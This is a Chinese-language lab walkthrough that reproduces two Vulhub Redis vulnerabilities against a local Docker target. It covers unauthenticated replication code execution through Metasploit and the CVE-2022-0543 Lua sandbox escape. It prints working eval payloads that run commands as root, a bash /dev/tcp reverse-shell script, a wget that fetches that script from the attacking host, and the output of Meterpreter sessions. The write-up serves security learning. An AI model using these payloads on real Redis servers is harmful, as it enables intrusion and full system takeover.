Vulhub:Redis[漏洞复现]
4-unacc(Redis未授权代码执行)
启动漏洞环境
docker-compose up -d
阅读vulhub给出的漏洞文档
cat README.zh-cn.md
# Redis 4.x/5.x 主从复制导致的命令执行
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
参考链接:
- <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
## 环境搭建
执行如下命令启动redis 4.0.14:
```
docker compose up -d
```环境启动后,通过`redis-cli -h your-ip`即可进行连接,可见存在未授权访问漏洞。
## 漏洞复现
使用[这个POC](https://github.com/vulhub/redis-rogue-getshell)即可直接执行命令:
![](1.png)
查看靶机IP地址
ifconfig | grep eth0 -A 5
┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/4-unacc]
└─# ifconfig | grep eth0 -A 5
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.138 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::d3f0:b854:e38c:9f58 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:ae:ed:8a txqueuelen 1000 (Ethernet)
RX packets 82678 bytes 95911672 (91.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
使用curl访问靶机6379端口
curl -v http://192.168.1.138:6379/ --http0.9
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -v http://192.168.1.138:6379/ --http0.9
* Trying 192.168.1.138:6379...
* Connected to 192.168.1.138 (192.168.1.138) port 6379
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.138:6379
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
-ERR wrong number of arguments for 'get' command
* shutting down connection #0
使用nmap扫描靶机6379端口获取服务版本
nmap -p6379 -sCV 192.168.1.138
使用redis-cli尝试空密码连接到靶机redis数据库
edis-cli -h 192.168.1.138 -p 6379
连接成功后执行命令"info"可查看数据库与靶机相关信息
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 6.11.2-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:6.3.0
process_id:1
run_id:5effee7489ba583fec7673b53c286dff84554e9f
tcp_port:6379
uptime_in_seconds:7621
uptime_in_days:0
hz:10
lru_clock:6300793
executable:/data/redis-server
config_file:<...Omitted below...>
由执行的info命令输出可见,数据库版本与nmap扫描结果相同,该Redis版本存在未授权访问漏洞
使用searchsploit搜索redis相关漏洞PoC
searchsploit redis
由输出可见,有关Redis未认证代码执行以及复制代码执行有关的EXP都在MSF中
启动metasploit
msfconsole
检索redis有关exp
search redis type:exploit
使用redis复制代码执行模块
use exploit/linux/redis/redis_replication_cmd_exec
注意,该模块需要配置选项:RHOSTS、RPORT、SRVHOST、SRVPORT、LHOST、LPORT
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 8088
SRVPORT => 8088
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOST 192.168.1.138
RHOST => 192.168.1.138msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138msf6 exploit(linux/redis/redis_replication_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.1.138:4444
[*] 192.168.1.138:6379 - Compile redis module extension file
[+] 192.168.1.138:6379 - Payload generated successfully!
[*] 192.168.1.138:6379 - Listening on 192.168.1.138:8088
[*] 192.168.1.138:6379 - Rogue server close...
[*] 192.168.1.138:6379 - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.24.0.2
[*] Meterpreter session 1 opened (192.168.1.138:4444 -> 172.24.0.2:43180) at 2024-12-16 08:15:02 -0500
[!] 192.168.1.138:6379 - This exploit may require manual cleanup of './psfgqzed.so' on the targetmeterpreter > getuid
Server username: redis
到了这一步,vulhub中的该漏洞算是完美结束了,看到很多师傅对提权到ROOT用户有疑问,我这里做一下回答:
关于其他帖子中的通过redis命令CONFIG SET dbfilename XXXXX设置系统SSH公钥文件authorized_keys默认位置完全是错误的。因为该漏洞环境中redis服务默认就是使用redis用户搭建启用,因此无法通过ssh-keygen替换或修改id_rsa文件位置提权至ROOT,由于该vulhub漏洞环境中仅仅搭建了redis服务,其他的环境如:python、java、gcc均未安装,甚至连:wget、curl、sudo这些常用命令也并不支持。在该环境中也并不存在有ROOT用户权限文件以及SUID文件,也并不存在ROOT用户搭建的任何其他服务所以也就断绝了通过高权限、SUID文件、服务漏洞提权的可能,因此该漏洞环境压根不存在提权一说。
CVE-2022-0543(Redis沙箱逃逸)
启动漏洞环境
docker-compose up -d
阅读vulhub给出的漏洞文档
cat README.zh-cn.md
# Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象`package`,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
参考链接:
- <https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce>
- <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005787>## 漏洞环境
执行如下命令启动一个使用Ubuntu源安装的Redis 5.0.7服务器:
```
docker compose up -d
```服务启动后,我们可以使用`redis-cli -h your-ip`连接这个redis服务器。
## 漏洞复现
我们借助Lua沙箱中遗留的变量`package`的`loadlib`函数来加载动态链接库`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`里的导出函数`luaopen_io`。在Lua中执行这个导出函数,即可获得`io`库,再使用其执行命令:
```lua
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
```值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是`/usr/lib/x86_64-linux-gnu/liblua5.1.so.0`。
连接redis,使用`eval`命令执行上述脚本:
```lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
```可见命令已成功执行:
![](1.png)
使用redis-cli通过空密码连接到靶机redis数据库
redis-cli -h 192.168.1.138 -p 6379
连接成功后发送Payload
val 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0
收到回显:\"root\nuid=0(root) gid=0(root) groups=0(root)\n"
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami;id", "r"); local res = f:read("*a"); f:close(); return res' 0
\"root\nuid=0(root) gid=0(root) groups=0(root)\n"
在攻击机本地新建一个反弹shell脚本
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.138/1425 0>&1
攻击机开启http服务
php -S 0:80
靶机通过沙箱执行wget命令将脚本下载到容器中
┌──(root㉿kali)-[/home/…/Desktop/vulhub/redis/CVE-2022-0543]
└─# redis-cli -h 192.168.1.138 -p 6379
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("wget http://192.168.1.138/evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
""
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls", "r"); local res = f:read("*a"); f:close(); return res' 0
"evil.sh\n"
此时http服务器收到请求
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# php -S 0:80
[Mon Dec 16 10:54:11 2024] PHP 8.2.24 Development Server (http://0:80) started
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Accepted
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 [200]: GET /evil.sh
[Mon Dec 16 10:54:27 2024] 172.25.0.2:40542 Closing
攻击机通过nc开始监听
rlwrap -cAr nc -lvnp 1425
通过靶机沙箱运行该脚本
192.168.1.138:6379> eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/bin/bash evil.sh", "r"); local res = f:read("*a"); f:close(); return res' 0
本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [192.168.1.138] from (UNKNOWN) [172.25.0.2] 53794
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@4219329dc760:/var/lib/redis# whoami
whoami
root
使用MSF自动化Getshell
msfconsole
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LHOST 192.168.1.138
LHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set LPORT 1212
LPORT => 1212
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVHOST 192.168.1.138
SRVHOST => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT
SRVPORT => 6379
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set SRVPORT 7878
SRVPORT => 7878
msf6 exploit(linux/redis/redis_replication_cmd_exec) > set RHOSTS 192.168.1.138
RHOSTS => 192.168.1.138
msf6 exploit(linux/redis/redis_replication_cmd_exec) > run[*] Started reverse TCP handler on 192.168.1.138:1212
[*] 192.168.1.138:6379 - Compile redis module extension file
[+] 192.168.1.138:6379 - Payload generated successfully!
[*] 192.168.1.138:6379 - Listening on 192.168.1.138:7878
[*] 192.168.1.138:6379 - Rogue server close...
[*] 192.168.1.138:6379 - Sending command to trigger payload.
[*] Sending stage (3045380 bytes) to 172.23.0.2
[*] Meterpreter session 1 opened (192.168.1.138:1212 -> 172.23.0.2:52702) at 2024-12-16 10:38:53 -0500
[!] 192.168.1.138:6379 - This exploit may require manual cleanup of './kbfkorde.so' on the targetmeterpreter > getuid
Server username: root